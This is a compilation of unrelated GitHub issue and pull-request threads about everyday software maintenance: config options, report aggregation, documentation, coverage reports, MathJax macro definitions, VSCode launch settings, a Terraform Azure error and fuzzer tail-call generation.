Hello, we're investigating the issue reports in security. Since we observed that this issue may relate to security, has it been disclosed in CVE already? Thanks for your reply.


Change meaning of --account option

In an effort to maintain multiple configuration files the --account option should not select an account section in the config file but should select a config file from the default directory. Example
azurectl --account suse-rd

looks up
~/.config/azurectl/config.suse-rd

the loaded config file should only contain one account section which is referenced in the DEFAULT section.

IMO suse-rd.config is more conventional, as [description].[type] .

yes makes sense, thanks. working on this now

done now


Added aggregation of AMS Weekly Incident Reports

Description of changes:
Per our discussion, a customer I am working with wanted to aggregate AMS Weekly Incident Reports. This pull request aggregates those reports in the same way as the existing patch and backup reports in the current solution, but the refresh schedule for Weekly Incident Reports is weekly rather than daily.
Also fixed the mapping of the schedule parameter for instance details.

Thanks @msalheb reviewing and testing now

Also fixed the mapping of the schedule parameter for instance details.

Nice pickup, thanks!

This is a great feature, I have tested, and it works well! I can see your code aligns with all existing conventions and permissions, and that the crawler aligns with the weekly frequency of the report.
Thank you for your contribution.


add survey and package website section

Added a link to the survey and a section about deploying a package to gh pages. Please feel free to edit as you see fit as I have never actually deployed a package to gh pages but noticed that it was missing from the tutorial and figured it was worth adding.

Thanks! I feel a little weird about having the survey link up, maybe we can email it out to participants towards the end instead?

Also, I love the section on pkgdown, great call! I added a link to the noaa template, also.


Showcase Submission for challenges/166-image-to-ascii

Thank you Grayson Pike for your contribution! A member of the Coding Train team will review it shortly.

Python with SVG Output
Grayson Pike

Fantastic work!


Issue 21: sketch out DeployStage

Merge Checklist

[ ] Have you linked this Pull Request to an Issue?
[ ] Have you updated any relevant README files, to explain how this new feature works (with examples)?
[ ] Have you added relevant test cases for your change?
[ ] Do all tests and code style checks pass with ./gradlew check --info?
[ ] Have you successfully run your change in a pipeline in a Jenkins instance?
[ ] Have you updated the CHANGELOG?

Issue #21

Codecov Report

Merging #25 (18965f2) into master (9f8b4f1) will not change coverage.
The diff coverage is 100.00%.

:exclamation: Current head 18965f2 differs from pull request most recent head 599e77f. Consider uploading reports for the commit 599e77f to get more accurate results

@@            Coverage Diff            @@
##            master       #25   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            2         3    +1
  Lines           14        15    +1
=========================================
+ Hits            14        15    +1

Impacted Files
Coverage Δ

src/DeployStage.groovy
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9f8b4f1...599e77f. Read the comment docs.


Please report in the readme.md that this project is not in a usable state

Hi there!
Since the xlang team is not actively working on Python/WinRT, and the Python/WinRT project is not currently in a usable state, it would be helpful to show this right at the start of the readme.md file. It took me a couple of hours to figure the state of this project...
Showing the state of the project might save other people time and energy, and help us know if/when we can use the project when we come back.
Thanks!

Thanks, I'll make a note of updating the readme to point out that the Python project is not usable.


[Cortana UWP Ask] We need a way to expose a list of elements

We currently allow lists to be expressed via markdown. However, on some platforms (probably all of the non-HTML ones), these are exposed to accessibility as a single block of text, which might not be easy to consume. Similarly, we don't currently have a way to describe elements in a container as a list of things. I haven't done a bunch of thinking on this, but I think we should consider adding a listType property to all container elements with values ordered, unordered, and semantic. This would have the behavior of numbering, prepending a bullet, or simply exposing items to accessibility as a list, respectively.

I think this might only be the tip of the iceberg. I feel we need to look at accessibility holistically and pervasively update the schema with accessibility-specific properties.

I agree, but I filed this to track a specific ask from a partner team :)

@matthidinger to track this on product board. While this is not a blocker since Cortana have been able to workaround it, it still would be really great to have to have a consistent story in AC for all hosts.

Tracking on product board as Carousel Control


Connects to #226. Misc analysis resources bundle data set.

Key Changes:

Add misc analysis resources bundle to downloadable PASS1B-06 bundle data sets
Set "Open Sans" font for the main tagline on the landing page

@cteng585, great catch and excellent suggestions! Thank you! Please review the PR again given the text changes.

Everything looks good to me now. Thanks!


Type of squeezenet_v1.0.caffemodel is PCX image (image/x-pcx)?

Hi,
I have downloaded the provided model. But when I looked its properties, type is PCX image not binary??
How can I have a binary type??

Interesting. I assume you are talking about the *.caffemodel file?
Is Caffe able to load the file?
In general, an OS tries to make an educated guess about file types, but this guess isn't always helpful.

Yes Caffe is able to load the model. But I am trying to convert it into
mxnet model. mxnet is not able to parse it. But its able to parse other
Caffe model . Only difference i can see is file type.
On Mar 23, 2016 22:04, "Forrest Iandola"<EMAIL_ADDRESS>wrote:

Interesting. I assume you are talking about the *.caffemodel file?
Is Caffe able to load the file?
In general, an OS tries to make an educated guess about file types, but
this guess isn't always helpful.
—
You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub
https://github.com/DeepScale/SqueezeNet/issues/5#issuecomment-200426874

Since you say that you are able to load the pretrained SqueezeNet into Caffe, I'm going to close this issue.
I think an MXNet implementation of SqueezeNet is a great idea. I don't have any experience with MXNet, so I'm afraid I don't have any debugging advice. Instead of using our pretrained weights, perhaps you could train SqueezeNet from scratch in Caffe or MXNet? We just committed an update to the solver.prototxt file which makes SqueezeNet training converge more reliable.


[BUG] Unable to write correct xlsx file.

Not sure if this is an error in usage or execution.
#r "nuget: FsSpreadsheet, 3.1.1"
#r "nuget: FsSpreadsheet.ExcelIO, 3.1.1"

let path = @"C:/Users/Kevin/Desktop/Book1.xlsx"

open FsSpreadsheet
open FsSpreadsheet.ExcelIO

let wb = new FsWorkbook()

let ws = wb.InitWorksheet("New Worksheet")

ws.AddCell(FsCell("My Column 1",address=FsAddress("B1")))
ws.AddCell(FsCell("My Column 2",address=FsAddress("C1")))
let t = FsTable("My New Table", FsRangeAddress("B1:C2"))

ws.AddTable(t)

wb.ToFile(path)

-------------->

This happens because the TableColumns field in the xlsx file is empty.

This is because no TableFields are set in the table object. Theoretically this could be done when adding the table to the worksheet. Here it could be checked whether the cellcollection in the worksheet does contain cell values in the header row of the specified table range.

Alternatively, this step could be performed when writing the table.

Propably fixed and outdated, will close


item rate sigfigs increased from 3 to 5

increased displayed sigfigs for the "average items" column from 3 to 5, for more precision on rare items like UC.

Using toPrecision will also clean up displayed values such as 49997.169 BQ for an RQCGT chest, rounding it to 50000.
However, this may cause an issue if there are convertibles that give items in a quantity with more than 3 significant figures, for example if a chest gave 1234000 gold, it would get rounded down to 1230000 gold. I'm unsure if any such convertible-items exist, and if anyone would care in the first place. We could increase the toPrecision value to 4, but that would allow strange results to remain, such as 9.999 Flamin' Spice Leaf drops in a RQCGT rather than 10.0.


Draw  the player sprite

For a start, draw the player sprite on the screen

Fixed. The player sprite can now be drawn on the background.


launch.json file

Is it mandatory to create launch.json file under vscode folder or can we create directly as other files? folder name also should be same vscode?
how does it know server details first time while creating launch.json file? what if we have multiple servicetiers?

and what are these parameters in launch.json? are they mandatory? can be changed?
"name": "Publish",
"projectRoot": "${workspaceRoot}",
"packageFileName": "${command.resolvePackageFileName}",

Yes, the the launch.json file must be located inside the .vscode folder. This is just how VSCode works.
If you don't have a launch.json file (or have it in a wrong location), then next time you press F5, VSCode will offer you to create a new one and will place it where needed.
The server details are currently initialized to static values (localhost, Navision_main, etc). This is done for easier setup on the gallery image, but may change in the future when the extension becomes globally available.
About other parameters:

"name" can be customized, this is just for you to identify the configuration
"projectRoot" and "packageFileName" point to project folder and the name of the .navx file which should be deployed. ${} syntax means that values will be resolved at runtime. Typically you should not change these, but if you put correct paths there, it should work as well.

By the way, you can have multiple configurations in the launch.json file, see an example below. Then if you switch to Debug pane in VSCode (Ctrl+Shift+D), you would be able to select an active configuration in the top-left corner.
{
    "version": "0.2.0",
    "configurations": [
        {
            "type": "al",
            "request": "publish",
            "name": "Publish to main",
            "projectRoot": "${workspaceRoot}",
            "packageFileName": "${command.resolvePackageFileName}",
            "server": "http://localhost",
            "serverInstance": "Navision_main",
            "windowsAuthentication": true
        },
        {
            "type": "al",
            "request": "publish",
            "name": "Publish to other server",
            "projectRoot": "${workspaceRoot}",
            "packageFileName": "${command.resolvePackageFileName}",
            "server": "http://localhost",
            "serverInstance": "Other",
            "windowsAuthentication": true
        }
    ]
}


Design fixes for APM

@ammendonca Would you be able to review this?

Most of the fixes are valid, but using pf-select on Properties / Faults filtering on the sidebar is making it not work. I think I've faced such issue (not sure if I reported to angular-patternfly), thus I didn't used it.

Also,not sure the change from plus / minus signs on the left of selected properties / faults was on purpose or just from replacing other with chevron, as these have the purpose of showing they are being included / excluded.

was / should be

Agree with Alex - the + / - should not be chevrons as they do indicate included/excluded.

@ammendonca , updated the PR. I tested and it works here. Can u check? Thanks

@ammendonca , removed the errors and rebased. Good catch, I hadn't see them in the UI/code.

@ammendonca ok to merge?

@objectiser Yes, LGTM.

@cardosogabriel @ammendonca Thanks!


Add checks to AwsChunkedInputStream against writing more than X-Amz-Decoded-Content-Length

          However, this means we need to track `X-Amz-Decoded-Content-Length` (probably in `RequestContent`). I suggest that we do this as a follow-up PR. OK?

Originally posted by @Randgalt in https://github.com/trinodb/aws-proxy/pull/105#discussion_r1679276572

@vagaerg this can be closed now right?

Yup, this was addressed by #130


Azure fixes

[terraform]: Note that the -target option is not suitable for routine use, and is provided
[terraform]: only for exceptional situations such as recovering from errors or mistakes, or
[terraform]: when Terraform specifically suggests to use it as part of an error message.
[terraform]:
Error: creating Managed Kubernetes Cluster "cnooazure-dev" (Resource Group "cnooazure-dev"): containerservice.ManagedClustersClient#CreateOrUpdate: Failure sending request: StatusCode=400 -- Original Error: Code="NodeResourceGroupAlreadyExists" Message="Node resource group 'node_resource_group' under subscription '9009ade8-6718-4f79-8f70-15640f5528fe' already exists, please provide a new one."

  on .terraform/modules/kubernetes/modules/azure/kubernetes/main.tf line 2, in resource "azurerm_kubernetes_cluster" "main":
   2: resource "azurerm_kubernetes_cluster" "main" {

I see in the qhub-terraform-modules
  # Azure requires that a new, non-existent Resource Group is used, as otherwise the provisioning of the Kubernetes Service will fail.
  node_resource_group = "node_resource_group" # optional

Reviewed and is working.


feat(theme-default): adjust the color contrast in dark mode

Summary
Improve the color contrast of default theme in dark mode.
According to WebAIM, the default color contrast for Rspress is low at 11, which makes the docs difficult to read. Here I changed the default theme color to improve the contrast ratio to 16.
Here i changed the default theme color to improve the contrast to 16.

Some data for reference:

Site
Contrast (by WebAIM)

NextJS
17.93

ReactJS
13.95

Rspress (before this PR)
11.65

Rspress (after this PR)
16.9

Related Issue

Checklist

[ ] Tests updated (or not required).
[ ] Documentation updated (or not required).

LGTM


First use of macro fails

This page
http://cdi2tp.math.tecnico.ulisboa.pt/mathjax_test.php
defines several macros (very simple to allow for Portuguese of common mathematical functions). One of them is \sen. The first use of the macro (on the formula on the line following the line starting with "Tomemos para parametrização") fails and nothing is shown. Latter usage works.
This is hard to reproduce or include in a minimal example as a one line page with just one use of the macro seems to work. It has been observed in other pages with relatively complex content.
This happens with version 2.5 latest updated today.
This is observed in the current versions of Firefox, Opera and Chrome on Linux and Windows. Also on IE11.

You macros are defined incorrectly.  You have
Macros: {
  sen: "{\\newcommand{\\sen}{\\operatorname{ sen}}}",
  tg: "{\\newcommand{\\tg}{\\operatorname{ tg}}}",
  arctg: "{\\newcommand{\\arctg}{\\operatorname{ arctg}}}",
  div: "{\\renewcommand\\div{\\operatorname{ div}}}"
},

which make \sen expand to \newcommand{\sen}{\operatorname{ sen}, so the first use of \sen redefines \sen to be \operatorname{ sen}, with no output.  So MathJax is doing exactly what it is supposed to.  What you probably want is
Macros: {
  sen: "\\operatorname{sen}",
  tg: "\\operatorname{tg}",
  arctg: "\\operatorname{arctg}",
  div: "\\operatorname{div}"
},

which makes \sen produce \operatorname{sen} for its first (and all subsequent) uses.


Exclude files

This accomplishes what I consider to be the more important half of #39, configuration of a file exclusion list.
The implementation is fairly straightforward except for my rewrite of Project:excludeFiles. I couldn't figure out why it was written the way it was so if I've messed something up there, please let me know and I'll fix it.

Coverage decreased (-0.05%) to 25.13% when pulling daf8bff6cc3274c7ea2f2d2d051fd589ef23e3b2 on TannerRogalsky:exclude_files into e6f8f7386af295c18b50a1f4458d5feac807babe on MisterDA:master.

Coverage decreased (-0.05%) to 25.13% when pulling 6886df839d4c717ab7c8285842610170682267ca on TannerRogalsky:exclude_files into e6f8f7386af295c18b50a1f4458d5feac807babe on MisterDA:master.

Coverage decreased (-0.05%) to 25.13% when pulling 6886df839d4c717ab7c8285842610170682267ca on TannerRogalsky:exclude_files into e6f8f7386af295c18b50a1f4458d5feac807babe on MisterDA:master.

Thank your for your involvement ! Everything seems good to me.
I think that your text editor has removed some trailing spaces in  README.md, they are necessary in Markdown to break lines without creating a new paragraph.
Do you prefer a merge commit or a squash 'n merge ? I'm tempted by the squash.

Coverage decreased (-0.05%) to 25.13% when pulling 7730ce82cf9ab83b2f252a0cd179e9fb296c2893 on TannerRogalsky:exclude_files into e6f8f7386af295c18b50a1f4458d5feac807babe on MisterDA:master.

Coverage decreased (-0.05%) to 25.13% when pulling ed8e2000f7f680e2e76270fe588e45e501059a63 on TannerRogalsky:exclude_files into e6f8f7386af295c18b50a1f4458d5feac807babe on MisterDA:master.

Thanks for the review! I fixed the whitespace (you were right about the editor removing it) and shimmed the unpack function in the style that does not modify table. I don't have a preference for the style of merge but thanks for asking!


Rename doActionLogs to invocations

Description
Changes doActionLogs occurrences in code to invocations.
Also, changes doActionLog in InvocationLogEntry to just log.
Brings some minor test simplification.
Motivation and Context
Closes #177
Screenshots (if appropriate)
Upgrade notes (if appropriate)

Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)

Checklist:

[x] I have read the CONTRIBUTING document.
[x] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.

I hereby agree to the terms of the Knot.x Contributor License Agreement.

Please update CHANGELOG before merging


refactor(legacy-editor): improve react renderer for node view

If we render all node views through createPortal, we have to update the state to rerender the editor container component. This makes us have to handle React 18 async render issue with Prosemirror.
To make it easy, instead of creating portals in the root component, create the root for each node view.

createRoot will separate node view components into different contexts, this is not what we want.
Improve rendering by #461


implement PWM mock functionality

PWM is done via pwmio.PWMOut class.
The pulseio module might also be relevant and similarly implemented (at a glance).

Given that the duty cycle might be calculated, it might be a good idea to let SetDutyCycle constructor accept a specified range.

[!note]
Reading the duty cycle may have different behavior depending on which board is used. This implementation detail shall be neglected, unless a better approach is discovered.


fuzzgen: Generate Tail Calls

👋 Hey,
This PR is a follow up to  #6635 and it allows fuzzgen to generate return_call and return_indirect_call instructions.
As with the other control flow instructions, we try to include as much info as possible in the CFG before inserting it. It doesn't seem as relevant with tail calls as it is with blocks, but I figured it is still worth it. (The alternative would be to pick the tail call target at instruction insertion time, but I think that would actually make this slightly more complicated)
I'm opening this as a draft since it has found some issues and I can't run it for too long before it crashes, and I'm not entirely sure it's generating correct code under all inputs. Just leaving this open if anyone wants to test with it (@fitzgen  👀 ).

Nice! The last commit LGTM, thanks for putting this up. Going to look into the issues you found now.

Fuzzed for around 2 hours with fuzzgen and it all seems stable! 🥳


Sort out exact dependencies

See https://github.com/fedarko/sheepgut/blob/main/environment.yml.
A few conda things (minimap2, samtools, CheckM, prodigal) will likely need to be installed first. Figure out what the easiest way to set things up will be; maybe it'll be faster to get this up on Conda than PyPI.
Makes sense to document dependencies on a module-by-module basis:

strainflye align

minimap2
samtools
networkx (needed for loading GFA during partially-mapped-reads filtering)
pysam
scikit-bio

I think for now we can just ask users to install the conda prereqs, then install the actual package via pip. If we can get this on conda easily then it'll just be one step, but that's another can of worms